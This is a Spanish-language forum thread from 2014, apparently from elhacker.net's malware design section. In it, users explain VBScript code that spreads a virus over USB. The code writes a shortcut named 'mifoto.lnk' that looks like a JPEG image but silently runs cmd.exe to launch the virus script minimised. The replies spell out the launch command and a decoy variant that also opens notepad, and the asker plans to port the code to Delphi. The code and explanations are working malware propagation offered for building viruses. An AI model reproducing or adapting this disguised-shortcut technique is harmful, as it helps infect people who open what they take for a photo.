Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: jeshuem en 17 Marzo 2014, 23:59 PM

Título: Duda sobre USB spread
Publicado por: jeshuem en 17 Marzo 2014, 23:59 PM
Alguien que sea tan amable de explicarme estas lineas que dejo de ejemplo MadAntrax en uno de sus post, no estoy muy familiarizado con este tipo de spread.
Código (vb) [Seleccionar]

set lnkobj = WSS.createshortcut (drive.path & "\mifoto.lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"
lnkobj.iconlocation = WSS.regread ("HKEY_LOCAL_MACHINE\software\classes\jpegfile\defaulticon\")
lnkobj.save()
Título: Re: Duda sobre USB spread
Publicado por: xXSCORPIOXx en 18 Marzo 2014, 00:11 AM
Digamos que basicamente crea el .lnk apuntando hacia el CMD con parametros y asignandole un Icono de imagen.

//Regards.
Título: Re: Duda sobre USB spread
Publicado por: jeshuem en 18 Marzo 2014, 00:49 AM
Para ser mas preciso en la linea

Código (vb) [Seleccionar]
lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"


que argumentos debe tener un lnk para que ejecute un programa?
Título: Re: Duda sobre USB spread
Publicado por: xXSCORPIOXx en 18 Marzo 2014, 01:28 AM
Cita de: jeshuem en 18 Marzo 2014, 00:49 AM
Para ser mas preciso en la linea

Código (vb) [Seleccionar]
lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"


que argumentos debe tener un lnk para que ejecute un programa?

Simplemente llama a la aplicacion desde el CMD con "Start", aunque creo que se deberia usar WScript.ScriptFullName, a ver si lo ve MadAntrax.

//Regards.
Título: Re: Duda sobre USB spread
Publicado por: jeshuem en 18 Marzo 2014, 05:22 AM
Cual es su sintaxis del argumento? sin el codigo como seria?
Título: Re: Duda sobre USB spread
Publicado por: Mad Antrax en 18 Marzo 2014, 10:36 AM
No es necesario mandar argumentos a un LNK para que ejecute un fichero, son solo targetpath es suficiente.

En el ejemplo, lo que hace el código es crear un acceso directo a cmd.exe y le cambio el icono de la ventanita negra por la de la foto.jpg

básicamente el acceso sería:

cmd.exe /c start mivirus.vbs&exit

Podría ser también así:

cmd.exe /c start mivirus.vbs&start notepad.exe&exit

(Ese ejemplo ejecuta el virus + notepad y luego cierra el cmd). Si lo combinas con WindowsStyle=7 el cmd se ejecuta minimizado).

Saludos
Título: Re: Duda sobre USB spread
Publicado por: jeshuem en 18 Marzo 2014, 15:16 PM
La funcion replace que es para remplazar codenas a que viene?

Código (vb) [Seleccionar]
replace(wscript.scriptname," ", chrw(34) & " " & chrw(34))
Título: Re: Duda sobre USB spread
Publicado por: Mad Antrax en 18 Marzo 2014, 15:18 PM
Cita de: jeshuem en 18 Marzo 2014, 15:16 PM
La funcion replace que es para remplazar codenas a que viene?

Código (vb) [Seleccionar]
replace(wscript.scriptname," ", chrw(34) & " " & chrw(34))

No se pueden usar espacios en los nombres. Lo que hago es coger el nombre del fichero y reemplazo el espacio (" ") por chrw(34) & " " & chrw(34)
Título: Re: Duda sobre USB spread
Publicado por: jeshuem en 18 Marzo 2014, 16:22 PM
Ah ok gracias eres un grande jaja, no sabia que no se podia usar espacios, gracias. Ahora toca pasarlo a delphi.

Saludos.
Título: Re: Duda sobre USB spread
Publicado por: xXSCORPIOXx en 18 Marzo 2014, 22:37 PM
Cita de: ||MadAntrax|| en 18 Marzo 2014, 15:18 PM
No se pueden usar espacios en los nombres. Lo que hago es coger el nombre del fichero y reemplazo el espacio (" ") por chrw(34) & " " & chrw(34)
Eso era lo que a mi me despistaba, sería mejor algo tipo Chr(34) & WScript.ScriptFullName & Chr(34), no?

PD: Perdonad que no use Etiquetas, ando desde el movil por viajes de negocios.

//Regards.